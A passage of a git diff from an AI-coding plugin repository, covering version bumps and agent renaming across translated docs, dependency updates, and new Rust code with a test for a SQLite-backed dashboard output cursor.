apenas o código. Os guias explicam tudo. ## O Que Há de Novo -### v2.2.1 — Instalação Guiada para Múltiplos Harnesses (Ago 2026) +### v2.2.2 — Instalação Guiada para Múltiplos Harnesses (Ago 2026) Adiciona uma instalação revisável para Claude Code, Codex e Kimi Code, com uma entrada de comando npm sincronizada. diff --git a/docs/releases/1.10.0/discussion-announcement.md b/docs/releases/1.10.0/discussion-announcement.md deleted file mode 100644 index 9d4b5a6f3..000000000 --- a/docs/releases/1.10.0/discussion-announcement.md +++ /dev/null @@ -1,55 +0,0 @@ -# ECC v1.10.0 is live - -ECC just crossed **140K stars**, and the public release surface had drifted too far from the actual repo. - -So v1.10.0 is a hard sync release: - -- **38 agents** -- **156 skills** -- **72 commands** -- plugin/install metadata corrected -- top-line docs and release surfaces brought back in line - -This release also folds in the operator/media lane that has been growing around the core harness system: - -- `brand-voice` -- `social-graph-ranker` -- `connections-optimizer` -- `customer-billing-ops` -- `google-workspace-ops` -- `project-flow-ops` -- `workspace-surface-audit` -- `manim-video` -- `remotion-video-creation` - -And on the 2.0 side: - -ECC 2.0 is now **real as an alpha control-plane surface** in-tree under `ecc2/`. - -It builds today and exposes: - -- `dashboard` -- `start` -- `sessions` -- `status` -- `stop` -- `resume` -- `daemon` - -That does **not** mean the full ECC 2.0 roadmap is done. - -It means the control-plane alpha is here, usable, and moving out of the “just a vision” category. - -The shortest honest framing right now: - -- ECC 1.x is the battle-tested harness/workflow layer shipping broadly today -- ECC 2.0 is the alpha control-plane growing on top of it - -If you have been waiting for: - -- cleaner install surfaces -- stronger cross-harness parity -- operator workflows instead of just coding primitives -- a real control-plane direction instead of scattered notes - -this is the release that makes the repo feel coherent again. diff --git a/docs/releases/1.8.0/x-quote-eval-skills.md b/docs/releases/1.8.0/x-quote-eval-skills.md deleted file mode 100644 index 028a72bb0..000000000 --- a/docs/releases/1.8.0/x-quote-eval-skills.md +++ /dev/null @@ -1,5 +0,0 @@ -# X Quote Draft - Eval Skills Post - -Strong eval skills are now built deeper into ECC. - -v1.8.0 expands eval-harness patterns, pass@k guidance, and release-level verification loops so teams can measure reliability, not guess it. diff --git a/docs/releases/1.8.0/x-quote-plankton-deslop.md b/docs/releases/1.8.0/x-quote-plankton-deslop.md deleted file mode 100644 index 8ea7093e1..000000000 --- a/docs/releases/1.8.0/x-quote-plankton-deslop.md +++ /dev/null @@ -1,5 +0,0 @@ -# X Quote Draft - Plankton / De-slop Workflow - -The quality gate model matters. - -In v1.8.0 we pushed harder on write-time quality enforcement, deterministic checks, and cleaner loop recovery so agents converge faster with less noise. diff --git a/docs/releases/2.1.0/assets/ecc-plan-canvas-demo.webm b/docs/releases/2.1.0/assets/ecc-plan-canvas-demo.webm deleted file mode 100644 index 3017e32a6..000000000 Binary files a/docs/releases/2.1.0/assets/ecc-plan-canvas-demo.webm and /dev/null differ diff --git a/docs/testing/ecc-2.2-release-readiness.tdd.md b/docs/releases/2.2.0/ecc-2.2-release-readiness.tdd.md similarity index 100% rename from docs/testing/ecc-2.2-release-readiness.tdd.md rename to docs/releases/2.2.0/ecc-2.2-release-readiness.tdd.md diff --git a/docs/testing/ecc-ito-real-cli-bridge.tdd.md b/docs/releases/2.2.0/ecc-ito-real-cli-bridge.tdd.md similarity index 100% rename from docs/testing/ecc-ito-real-cli-bridge.tdd.md rename to docs/releases/2.2.0/ecc-ito-real-cli-bridge.tdd.md diff --git a/docs/tr/AGENTS.md b/docs/tr/AGENTS.md index fec63aafb..381834bd2 100644 --- a/docs/tr/AGENTS.md +++ b/docs/tr/AGENTS.md @@ -1,8 +1,8 @@ # Everything Claude Code (ECC) — Agent Talimatları -Bu, yazılım geliştirme için 68 özel agent, 287 skill, 95 command ve otomatik hook iş akışları sağlayan **üretime hazır bir AI kodlama eklentisidir**. +Bu, yazılım geliştirme için 68 özel agent, 293 skill, 95 command ve otomatik hook iş akışları sağlayan **üretime hazır bir AI kodlama eklentisidir**. -**Sürüm:** 2.2.1 +**Sürüm:** 2.2.2 ## Temel İlkeler @@ -47,14 +47,14 @@ Bu, yazılım geliştirme için 68 özel agent, 287 skill, 95 command ve otomati ## Agent Orkestrasyonu Agentları kullanıcı istemi olmadan proaktif olarak kullanın: -- Karmaşık özellik istekleri → **planner** -- Yeni yazılan/değiştirilen kod → **code-reviewer** -- Hata düzeltme veya yeni özellik → **tdd-guide** -- Mimari karar → **architect** -- Güvenlik açısından hassas kod → **security-reviewer** -- Çok kanallı iletişim önceliklendirme → **chief-of-staff** -- Otonom döngüler / döngü izleme → **loop-operator** -- Harness yapılandırma güvenilirliği ve maliyeti → **harness-optimizer** +- Karmaşık özellik istekleri → **ecc:planner** +- Yeni yazılan/değiştirilen kod → **ecc:code-reviewer** +- Hata düzeltme veya yeni özellik → **ecc:tdd-guide** +- Mimari karar → **ecc:architect** +- Güvenlik açısından hassas kod → **ecc:security-reviewer** +- Çok kanallı iletişim önceliklendirme → **ecc:chief-of-staff** +- Otonom döngüler / döngü izleme → **ecc:loop-operator** +- Harness yapılandırma güvenilirliği ve maliyeti → **ecc:harness-optimizer** Bağımsız işlemler için paralel yürütme kullanın — birden fazla agenti aynı anda başlatın. @@ -142,7 +142,7 @@ Başarısızlık sorunlarını giderin: test izolasyonunu kontrol edin → mockl ``` agents/ — 68 özel subagent -skills/ — 287 iş akışı skillleri ve alan bilgisi +skills/ — 293 iş akışı skillleri ve alan bilgisi commands/ — 95 slash command hooks/ — Tetikleyici tabanlı otomasyonlar rules/ — Her zaman uyulması gereken kurallar (ortak + dile özel) diff --git a/docs/tr/README.md b/docs/tr/README.md index f7546bed7..1fc5e2f5b 100644 --- a/docs/tr/README.md +++ b/docs/tr/README.md @@ -79,7 +79,7 @@ Bu repository yalnızca ham kodu içerir. Rehberler her şeyi açıklıyor. ## Yenilikler -### v2.2.1 — Rehberli Çoklu Harness Kurulumu (Ağu 2026) +### v2.2.2 — Rehberli Çoklu Harness Kurulumu (Ağu 2026) Claude Code, Codex ve Kimi Code için incelenebilir çoklu harness kurulumu ve eşitlenmiş npm komut girişi eklendi. diff --git a/docs/tr/rules/common/agents.md b/docs/tr/rules/common/agents.md index b40d5897b..d00403e87 100644 --- a/docs/tr/rules/common/agents.md +++ b/docs/tr/rules/common/agents.md @@ -2,28 +2,35 @@ ## Mevcut Agent'lar -`~/.claude/agents/` dizininde bulunur: +ECC agent'ları `ecc@ecc` eklentisiyle birlikte gelir, `~/.claude/agents/` dizininde bulunmaz. +Agent aracıyla eklenti kapsamlı bir `subagent_type` ile çağrılır: + +```text +Agent(subagent_type: "ecc:planner", prompt: "...") +``` | Agent | Amaç | Ne Zaman Kullanılır | |-------|---------|-------------| -| planner | Uygulama planlaması | Karmaşık özellikler, refactoring | -| architect | Sistem tasarımı | Mimari kararlar | -| tdd-guide | Test odaklı geliştirme | Yeni özellikler, hata düzeltmeleri | -| code-reviewer | Kod incelemesi | Kod yazdıktan sonra | -| security-reviewer | Güvenlik analizi | Commit'lerden önce | -| build-error-resolver | Build hatalarını düzeltme | Build başarısız olduğunda | -| e2e-runner | E2E testleri | Kritik kullanıcı akışları | -| refactor-cleaner | Ölü kod temizliği | Kod bakımı | -| doc-updater | Dokümantasyon | Dokümanları güncelleme | -| rust-reviewer | Rust kod incelemesi | Rust projeleri | +| ecc:planner | Uygulama planlaması | Karmaşık özellikler, refactoring | +| ecc:architect | Sistem tasarımı | Mimari kararlar | +| ecc:tdd-guide | Test odaklı geliştirme | Yeni özellikler, hata düzeltmeleri | +| ecc:code-reviewer | Kod incelemesi | Kod yazdıktan sonra | +| ecc:security-reviewer | Güvenlik analizi | Commit'lerden önce | +| ecc:build-error-resolver | Build hatalarını düzeltme | Build başarısız olduğunda | +| ecc:e2e-runner | E2E testleri | Kritik kullanıcı akışları | +| ecc:refactor-cleaner | Ölü kod temizliği | Kod bakımı | +| ecc:doc-updater | Dokümantasyon | Dokümanları güncelleme | +| ecc:rust-reviewer | Rust kod incelemesi | Rust projeleri | + +68 agent'ın tam listesi için `/ecc:ecc-guide` bölümüne bakın. ## Anlık Agent Kullanımı Kullanıcı istemi gerekmez: -1. Karmaşık özellik istekleri - **planner** agent kullan -2. Kod yeni yazıldı/değiştirildi - **code-reviewer** agent kullan -3. Hata düzeltmesi veya yeni özellik - **tdd-guide** agent kullan -4. Mimari karar - **architect** agent kullan +1. Karmaşık özellik istekleri - **ecc:planner** agent kullan +2. Kod yeni yazıldı/değiştirildi - **ecc:code-reviewer** agent kullan +3. Hata düzeltmesi veya yeni özellik - **ecc:tdd-guide** agent kullan +4. Mimari karar - **ecc:architect** agent kullan ## Paralel Görev Yürütme diff --git a/docs/tr/the-shortform-guide.md b/docs/tr/the-shortform-guide.md index 9e20acda0..6a894a175 100644 --- a/docs/tr/the-shortform-guide.md +++ b/docs/tr/the-shortform-guide.md @@ -420,7 +420,7 @@ affoon:~ ctx:65% Opus 4.5 19:52 - [Interactive Mode](https://code.claude.com/docs/en/interactive-mode) - [Memory Sistemi](https://code.claude.com/docs/en/memory) - [Subagent'lar](https://code.claude.com/docs/en/sub-agents) -- [MCP Genel Bakış](https://code.claude.com/docs/en/mcp-overview) +- [MCP Genel Bakış](https://code.claude.com/docs/en/mcp) --- diff --git a/docs/uk-UA/README.md b/docs/uk-UA/README.md index d3057cbf8..7c8f28f88 100644 --- a/docs/uk-UA/README.md +++ b/docs/uk-UA/README.md @@ -27,8 +27,8 @@

- Stars - Forks + GitHub stars + GitHub forks Contributors GitHub App installs

@@ -105,7 +105,8 @@ Greptile    Atlas Cloud    Moonshot AI - Kimi    - Itô Markets + Itô Markets    + SerpApi: Web Search API

Спонсори спільноти: Mike Morgan · @jasonwu513 · @1anter · @massimotodaro · @meadmccabe diff --git a/docs/ur/README.md b/docs/ur/README.md index a91e4f698..32185989e 100644 --- a/docs/ur/README.md +++ b/docs/ur/README.md @@ -4,8 +4,8 @@ ![ECC - ایجنٹک کام کے لیے ہارنس-نیٹو آپریٹر سسٹم](../../assets/hero.png) -[![Stars](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fstars&style=flat)](https://github.com/affaan-m/ECC/stargazers) -[![Forks](https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Fforks&style=flat)](https://github.com/affaan-m/ECC/network/members) +[![GitHub stars](https://img.shields.io/github/stars/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC) +[![GitHub forks](https://img.shields.io/github/forks/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/forks) [![Contributors](https://img.shields.io/github/contributors/affaan-m/ECC?style=flat)](https://github.com/affaan-m/ECC/graphs/contributors) [![npm ecc-universal](https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-universal) [![npm ecc-agentshield](https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield%20weekly%20downloads&logo=npm)](https://www.npmjs.com/package/ecc-agentshield) diff --git a/docs/zh-CN/AGENTS.md b/docs/zh-CN/AGENTS.md index 30598bfaf..e016eb8fb 100644 --- a/docs/zh-CN/AGENTS.md +++ b/docs/zh-CN/AGENTS.md @@ -1,8 +1,8 @@ # Everything Claude Code (ECC) — 智能体指令 -这是一个**生产就绪的 AI 编码插件**,提供 68 个专业代理、287 项技能、95 条命令以及自动化钩子工作流,用于软件开发。 +这是一个**生产就绪的 AI 编码插件**,提供 68 个专业代理、293 项技能、95 条命令以及自动化钩子工作流,用于软件开发。 -**版本:** 2.2.1 +**版本:** 2.2.2 ## 核心原则 @@ -48,14 +48,14 @@ 主动使用智能体,无需用户提示: -* 复杂功能请求 → **planner** -* 刚编写/修改的代码 → **code-reviewer** -* 错误修复或新功能 → **tdd-guide** -* 架构决策 → **architect** -* 安全敏感代码 → **security-reviewer** -* 多渠道沟通分流 → **chief-of-staff** -* 自主循环 / 循环监控 → **loop-operator** -* 线束配置可靠性及成本 → **harness-optimizer** +* 复杂功能请求 → **ecc:planner** +* 刚编写/修改的代码 → **ecc:code-reviewer** +* 错误修复或新功能 → **ecc:tdd-guide** +* 架构决策 → **ecc:architect** +* 安全敏感代码 → **ecc:security-reviewer** +* 多渠道沟通分流 → **ecc:chief-of-staff** +* 自主循环 / 循环监控 → **ecc:loop-operator** +* 线束配置可靠性及成本 → **ecc:harness-optimizer** 对于独立操作使用并行执行 — 同时启动多个智能体。 @@ -147,7 +147,7 @@ ``` agents/ — 68 个专业子代理 -skills/ — 287 个工作流技能和领域知识 +skills/ — 293 个工作流技能和领域知识 commands/ — 95 个斜杠命令 hooks/ — 基于触发的自动化 rules/ — 始终遵循的指导方针(通用 + 每种语言) diff --git a/docs/zh-CN/README.md b/docs/zh-CN/README.md index ce8704120..80520b6c2 100644 --- a/docs/zh-CN/README.md +++ b/docs/zh-CN/README.md @@ -81,7 +81,7 @@ ## 最新动态 -### v2.2.1 — 引导式多 Harness 安装(2026年8月) +### v2.2.2 — 引导式多 Harness 安装(2026年8月) 新增可审查的 Claude Code、Codex 与 Kimi Code 多 Harness 安装流程,并提供同步的 npm 命令入口。 @@ -260,7 +260,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/" /plugin list ecc@ecc ``` -**搞定!** 你现在可以使用 68 个智能体、287 项技能和 95 个命令了。 +**搞定!** 你现在可以使用 68 个智能体、293 项技能和 95 个命令了。 *** @@ -1174,7 +1174,7 @@ opencode |---------|---------------|----------|--------| | 智能体 | PASS: 68 个 | PASS: 12 个 | **Claude Code 领先** | | 命令 | PASS: 95 个 | PASS: 35 个 | **Claude Code 领先** | -| 技能 | PASS: 287 项 | PASS: 37 项 | **Claude Code 领先** | +| 技能 | PASS: 293 项 | PASS: 37 项 | **Claude Code 领先** | | 钩子 | PASS: 8 种事件类型 | PASS: 11 种事件 | **OpenCode 更多!** | | 规则 | PASS: 29 条 | PASS: 13 条指令 | **Claude Code 领先** | | MCP 服务器 | PASS: 14 个 | PASS: 完整 | **完全对等** | @@ -1282,7 +1282,7 @@ ECC 是**第一个最大化利用每个主要 AI 编码工具的插件**。以 |---------|-----------------------|------------|-----------|----------| | **智能体** | 68 | 共享 (AGENTS.md) | 共享 (AGENTS.md) | 12 | | **命令** | 95 | 共享 | 基于指令 | 35 | -| **技能** | 287 | 共享 | 10 (原生格式) | 37 | +| **技能** | 293 | 共享 | 10 (原生格式) | 37 | | **钩子事件** | 8 种类型 | 15 种类型 | SessionStart(1 种类型) | 11 种类型 | | **钩子脚本** | 20+ 个脚本 | 16 个脚本 (DRY 适配器) | 1 个 SessionStart 引导脚本 | 插件钩子 | | **规则** | 34 (通用 + 语言) | 34 (YAML 前页) | 基于指令 | 13 条指令 | @@ -1292,7 +1292,7 @@ ECC 是**第一个最大化利用每个主要 AI 编码工具的插件**。以 | **上下文文件** | CLAUDE.md + AGENTS.md | AGENTS.md | AGENTS.md | AGENTS.md | | **秘密检测** | 基于钩子 | beforeSubmitPrompt 钩子 | 基于沙箱 | 基于钩子 | | **自动格式化** | PostToolUse 钩子 | afterFileEdit 钩子 | N/A | file.edited 钩子 | -| **版本** | 插件 | 插件 | 参考配置 | 2.2.1 | +| **版本** | 插件 | 插件 | 参考配置 | 2.2.2 | **关键架构决策:** diff --git a/docs/zh-CN/rules/common/agents.md b/docs/zh-CN/rules/common/agents.md index de32b0b56..3f3c2edaa 100644 --- a/docs/zh-CN/rules/common/agents.md +++ b/docs/zh-CN/rules/common/agents.md @@ -2,29 +2,36 @@ ## 可用智能体 -位于 `~/.claude/agents/` 中: +ECC 智能体随 `ecc@ecc` 插件一起分发,不在 `~/.claude/agents/` 目录中。 +它们通过 Agent 工具以插件作用域的 `subagent_type` 调用: + +```text +Agent(subagent_type: "ecc:planner", prompt: "...") +``` | 代理 | 用途 | 使用时机 | |-------|---------|-------------| -| planner | 实现规划 | 复杂功能、重构 | -| architect | 系统设计 | 架构决策 | -| tdd-guide | 测试驱动开发 | 新功能、错误修复 | -| code-reviewer | 代码审查 | 编写代码后 | -| security-reviewer | 安全分析 | 提交前 | -| build-error-resolver | 修复构建错误 | 构建失败时 | -| e2e-runner | 端到端测试 | 关键用户流程 | -| refactor-cleaner | 清理死代码 | 代码维护 | -| doc-updater | 文档 | 更新文档 | -| rust-reviewer | Rust 代码审查 | Rust 项目 | +| ecc:planner | 实现规划 | 复杂功能、重构 | +| ecc:architect | 系统设计 | 架构决策 | +| ecc:tdd-guide | 测试驱动开发 | 新功能、错误修复 | +| ecc:code-reviewer | 代码审查 | 编写代码后 | +| ecc:security-reviewer | 安全分析 | 提交前 | +| ecc:build-error-resolver | 修复构建错误 | 构建失败时 | +| ecc:e2e-runner | 端到端测试 | 关键用户流程 | +| ecc:refactor-cleaner | 清理死代码 | 代码维护 | +| ecc:doc-updater | 文档 | 更新文档 | +| ecc:rust-reviewer | Rust 代码审查 | Rust 项目 | + +完整 68 个智能体的清单参见 `/ecc:ecc-guide`。 ## 即时智能体使用 无需用户提示: -1. 复杂的功能请求 - 使用 **planner** 智能体 -2. 刚编写/修改的代码 - 使用 **code-reviewer** 智能体 -3. 错误修复或新功能 - 使用 **tdd-guide** 智能体 -4. 架构决策 - 使用 **architect** 智能体 +1. 复杂的功能请求 - 使用 **ecc:planner** 智能体 +2. 刚编写/修改的代码 - 使用 **ecc:code-reviewer** 智能体 +3. 错误修复或新功能 - 使用 **ecc:tdd-guide** 智能体 +4. 架构决策 - 使用 **ecc:architect** 智能体 ## 并行任务执行 diff --git a/docs/zh-CN/skills/github-ops/SKILL.md b/docs/zh-CN/skills/github-ops/SKILL.md index b67aaa4bd..fe2217726 100644 --- a/docs/zh-CN/skills/github-ops/SKILL.md +++ b/docs/zh-CN/skills/github-ops/SKILL.md @@ -126,11 +126,11 @@ gh api repos/{owner}/{repo}/dependabot/alerts --jq '.[].security_advisory.summar # Check secret scanning alerts gh api repos/{owner}/{repo}/secret-scanning/alerts --jq '.[].state' -# Review and auto-merge safe dependency bumps +# 审查依赖项更新并提交给用户批准,切勿自动合并 gh pr list --label "dependencies" --json number,title ``` -* 审查并自动合并安全的依赖项更新 +* 审查安全的依赖项更新并提交给用户批准,切勿自动合并 * 立即标记任何严重/高严重性告警 * 至少每周检查一次新的 Dependabot 告警 diff --git a/docs/zh-CN/the-shortform-guide.md b/docs/zh-CN/the-shortform-guide.md index e662afa28..f5dcbb55d 100644 --- a/docs/zh-CN/the-shortform-guide.md +++ b/docs/zh-CN/the-shortform-guide.md @@ -421,7 +421,7 @@ affoon:~ ctx:65% Opus 4.5 19:52 * [交互模式](https://code.claude.com/docs/en/interactive-mode) * [记忆系统](https://code.claude.com/docs/en/memory) * [子代理](https://code.claude.com/docs/en/sub-agents) -* [MCP 概述](https://code.claude.com/docs/en/mcp-overview) +* [MCP 概述](https://code.claude.com/docs/en/mcp) *** diff --git a/ecc2/Cargo.lock b/ecc2/Cargo.lock index 9d9c900bd..67258a667 100644 --- a/ecc2/Cargo.lock +++ b/ecc2/Cargo.lock @@ -1231,9 +1231,9 @@ checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" [[package]] name = "lru" -version = "0.18.0" +version = "0.18.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a860605968fce16869fd239cf4237a82f3ac470723415db603b0e8b6c8d4fb9" +checksum = "5d2f2f9b4ba7e6b24d95e7e899329d35be83bcded72c8540cdd5368932d1d90a" dependencies = [ "hashbrown 0.17.1", ] @@ -2375,9 +2375,9 @@ dependencies = [ [[package]] name = "toml" -version = "1.1.4+spec-1.1.0" +version = "1.1.6+spec-1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3aace63f4bbcdfc2c965b059de67119c89c4017a70d633be6c104910f67056f5" +checksum = "920602543f0911ab71da12c50d59701da54c196d1a2bf5cb4b75667f137a406a" dependencies = [ "indexmap", "serde_core", @@ -2528,9 +2528,9 @@ checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] name = "ureq" -version = "3.4.0" +version = "3.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "972d7902c8735f2695410b8aed7df6ed12a47394aa1c8d7af49f0497b731a94d" +checksum = "af5546be8f5378d5414f83733f5c9a2526f4645829edbc1c41790aeef1b38e8b" dependencies = [ "base64 0.23.1", "cookie_store", @@ -2548,9 +2548,9 @@ dependencies = [ [[package]] name = "ureq-proto" -version = "0.6.1" +version = "0.6.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da5f78b09e6941e1a0f2e30e695e4b120377b54d5e0aec11b594bb57b3971613" +checksum = "5b0809a01d1ca5a51ca70db32bb2a19157582a526505ef3c19e3b343a59aa5ad" dependencies = [ "base64 0.23.1", "http", @@ -2590,9 +2590,9 @@ checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" [[package]] name = "uuid" -version = "1.26.0" +version = "1.26.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5772d71c9be8a8a6ac2117d949c5b224c1b72241bb611d9a3012edcf8af7812" +checksum = "2ef6dac1e96601b4fb3acccccff2139741fcb757cb9a36089bf5be91cfb285ce" dependencies = [ "atomic", "getrandom 0.4.2", diff --git a/ecc2/README.md b/ecc2/README.md index 71aad6da8..2ea06c961 100644 --- a/ecc2/README.md +++ b/ecc2/README.md @@ -14,6 +14,12 @@ It is usable as an alpha for local experimentation, but it is **not** the finish - worktree-aware session scaffolding - basic multi-session state and output tracking +Dashboard output is hydrated from SQLite at startup and after recovery, then +synchronized with a monotonic database cursor. Because session runners are +separate processes, the database remains the cross-process source of truth +while steady-state refreshes read only the rows appended since the previous +dashboard tick. + ## What This Is For ECC 2.0 is the layer above individual harness installs. diff --git a/ecc2/src/main.rs b/ecc2/src/main.rs index c4c078b88..7c516684c 100644 --- a/ecc2/src/main.rs +++ b/ecc2/src/main.rs @@ -5214,7 +5214,6 @@ fn build_legacy_migration_audit_report(source: &Path) -> Result) { - let mut buffer: VecDeque = lines.into_iter().collect(); - - while buffer.len() > self.capacity { - let _ = buffer.pop_front(); - } - - self.lock_buffers().insert(session_id.to_string(), buffer); - } - pub fn lines(&self, session_id: &str) -> Vec { self.lock_buffers() .get(session_id) diff --git a/ecc2/src/session/store.rs b/ecc2/src/session/store.rs index f71bb3640..de1af81fc 100644 --- a/ecc2/src/session/store.rs +++ b/ecc2/src/session/store.rs @@ -28,6 +28,31 @@ pub struct StateStore { conn: Connection, } +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct SessionOutputRecord { + pub id: i64, + pub session_id: String, + pub line: OutputLine, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct SessionOutputBatch { + pub cursor: i64, + pub records: Vec, +} + +/// Converts one persisted output row into the dashboard's typed record. +fn output_record_from_row(row: &rusqlite::Row<'_>) -> rusqlite::Result { + let stream: String = row.get(2)?; + let text: String = row.get(3)?; + let timestamp: String = row.get(4)?; + Ok(SessionOutputRecord { + id: row.get(0)?, + session_id: row.get(1)?, + line: OutputLine::new(OutputStream::from_db_value(&stream), text, timestamp), + }) +} + #[derive(Debug, Clone, PartialEq, Eq, Serialize)] pub struct HarnessAuditEntry { pub id: i64, @@ -4000,6 +4025,53 @@ impl StateStore { Ok(lines) } + /// Returns a bounded recent-output snapshot and its highest persisted row ID. + pub(crate) fn get_output_snapshot( + &self, + limit_per_session: usize, + ) -> Result { + let limit_per_session = i64::try_from(limit_per_session.max(1)).unwrap_or(i64::MAX); + let mut stmt = self.conn.prepare( + "SELECT id, session_id, stream, line, timestamp + FROM ( + SELECT id, session_id, stream, line, timestamp, + ROW_NUMBER() OVER (PARTITION BY session_id ORDER BY id DESC) AS row_num + FROM session_output + ) + WHERE row_num <= ?1 + ORDER BY id ASC", + )?; + let records = stmt + .query_map(rusqlite::params![limit_per_session], output_record_from_row)? + .collect::, _>>()?; + let cursor = records.last().map(|record| record.id).unwrap_or(0); + + Ok(SessionOutputBatch { cursor, records }) + } + + /// Returns at most `limit` output rows newer than `cursor` in insertion order. + pub(crate) fn get_output_since( + &self, + cursor: i64, + limit: usize, + ) -> Result { + let cursor = cursor.max(0); + let limit = i64::try_from(limit.max(1)).unwrap_or(i64::MAX); + let mut stmt = self.conn.prepare( + "SELECT id, session_id, stream, line, timestamp + FROM session_output + WHERE id > ?1 + ORDER BY id ASC + LIMIT ?2", + )?; + let records = stmt + .query_map(rusqlite::params![cursor, limit], output_record_from_row)? + .collect::, _>>()?; + let cursor = records.last().map(|record| record.id).unwrap_or(cursor); + + Ok(SessionOutputBatch { cursor, records }) + } + pub fn insert_tool_log( &self, session_id: &str, @@ -7382,6 +7454,69 @@ mod tests { Ok(()) } + #[test] + fn output_cursor_reads_a_bounded_snapshot_then_only_new_rows() -> Result<()> { + let tempdir = TestDir::new("store-output-cursor")?; + let db = StateStore::open(&tempdir.path().join("state.db"))?; + + db.insert_session(&build_session("session-1", SessionState::Running))?; + db.insert_session(&build_session("session-2", SessionState::Running))?; + db.append_output_line("session-1", OutputStream::Stdout, "one-a")?; + db.append_output_line("session-2", OutputStream::Stderr, "two-a")?; + db.append_output_line("session-1", OutputStream::Stdout, "one-b")?; + db.append_output_line("session-2", OutputStream::Stdout, "two-b")?; + db.append_output_line("session-1", OutputStream::Stdout, "one-c")?; + + let snapshot = db.get_output_snapshot(2)?; + assert_eq!(snapshot.cursor, 5); + assert_eq!( + snapshot + .records + .iter() + .map(|record| (record.session_id.as_str(), record.line.text.as_str())) + .collect::>(), + vec![ + ("session-2", "two-a"), + ("session-1", "one-b"), + ("session-2", "two-b"), + ("session-1", "one-c"), + ] + ); + + db.append_output_line("session-2", OutputStream::Stderr, "two-c")?; + db.append_output_line("session-1", OutputStream::Stdout, "one-d")?; + let delta = db.get_output_since(snapshot.cursor, 1)?; + assert_eq!(delta.cursor, 6); + assert_eq!(delta.records.len(), 1); + assert_eq!(delta.records[0].session_id, "session-2"); + assert_eq!(delta.records[0].line.text, "two-c"); + + let next = db.get_output_since(delta.cursor, 1)?; + assert_eq!(next.cursor, 7); + assert_eq!(next.records.len(), 1); + assert_eq!(next.records[0].session_id, "session-1"); + assert_eq!(next.records[0].line.text, "one-d"); + + let empty = db.get_output_since(next.cursor, 1)?; + assert_eq!(empty.cursor, next.cursor); + assert!(empty.records.is_empty()); + + let query_plan = db + .conn + .prepare( + "EXPLAIN QUERY PLAN SELECT id FROM session_output WHERE id > ?1 ORDER BY id ASC", + )? + .query_map(rusqlite::params![snapshot.cursor], |row| { + row.get::<_, String>(3) + })? + .collect::, _>>()?; + assert!(query_plan + .iter() + .any(|detail| detail.contains("INTEGER PRIMARY KEY") && detail.contains("rowid>?"))); + + Ok(()) + } + #[test] fn message_round_trip_tracks_unread_counts_and_read_state() -> Result<()> { let tempdir = TestDir::new("store-messages")?; diff --git a/ecc2/src/tui/dashboard.rs b/ecc2/src/tui/dashboard.rs index c98b4e2c2..deb34605a 100644 --- a/ecc2/src/tui/dashboard.rs +++ b/ecc2/src/tui/dashboard.rs @@ -10,7 +10,6 @@ use ratatui::{ use regex::Regex; use std::collections::{BTreeMap, HashMap, HashSet, VecDeque}; use std::time::UNIX_EPOCH; -use tokio::sync::broadcast; use super::widgets::{budget_state, format_currency, format_token_count, BudgetState, TokenMeter}; use crate::comms; @@ -19,12 +18,12 @@ use crate::notifications::{DesktopNotifier, NotificationEvent, WebhookNotifier}; use crate::observability::ToolLogEntry; use crate::session::manager; use crate::session::output::{ - OutputEvent, OutputLine, OutputStream, SessionOutputStore, OUTPUT_BUFFER_LIMIT, + OutputLine, OutputStream, OUTPUT_BUFFER_LIMIT, OUTPUT_DELTA_BATCH_LIMIT, }; -use crate::session::store::{DaemonActivity, FileActivityOverlap, StateStore}; +use crate::session::store::{DaemonActivity, FileActivityOverlap, SessionOutputRecord, StateStore}; use crate::session::{ - ContextObservationPriority, DecisionLogEntry, FileActivityEntry, Session, SessionGrouping, - SessionBoardMeta, SessionHarnessInfo, SessionMessage, SessionState, + ContextObservationPriority, DecisionLogEntry, FileActivityEntry, Session, SessionBoardMeta, + SessionGrouping, SessionHarnessInfo, SessionMessage, SessionState, }; use crate::worktree; @@ -79,16 +78,42 @@ struct TestRunSummary { passed: usize, } +/// Consumes an output cache and returns a new bounded cache with `records` appended. +fn append_output_records( + mut cache: HashMap>, + records: Vec, +) -> HashMap> { + let mut touched_sessions = HashSet::new(); + for record in records { + cache + .entry(record.session_id.clone()) + .or_default() + .push(record.line); + touched_sessions.insert(record.session_id); + } + + for session_id in touched_sessions { + if let Some(lines) = cache.get_mut(&session_id) { + let overflow = lines.len().saturating_sub(OUTPUT_BUFFER_LIMIT); + if overflow > 0 { + lines.drain(..overflow); + } + } + } + + cache +} + pub struct Dashboard { db: StateStore, cfg: Config, - output_store: SessionOutputStore, - output_rx: broadcast::Receiver, notifier: DesktopNotifier, webhook_notifier: WebhookNotifier, sessions: Vec, session_harnesses: HashMap, session_output_cache: HashMap>, + session_output_generations: HashMap>, + output_cursor: Option, unread_message_counts: HashMap, approval_queue_counts: HashMap, approval_queue_preview: Vec, @@ -502,15 +527,8 @@ fn load_session_harnesses( } impl Dashboard { + /// Builds the dashboard and hydrates its initial bounded output snapshot. pub fn new(db: StateStore, cfg: Config) -> Self { - Self::with_output_store(db, cfg, SessionOutputStore::default()) - } - - pub fn with_output_store( - db: StateStore, - cfg: Config, - output_store: SessionOutputStore, - ) -> Self { let pane_size_percent = configured_pane_size(&cfg, cfg.pane_layout); let initial_cost_metrics_signature = metrics_file_signature(&cfg.cost_metrics_path()); let initial_tool_activity_signature = @@ -528,12 +546,15 @@ impl Dashboard { .iter() .map(|session| (session.id.clone(), session.state.clone())) 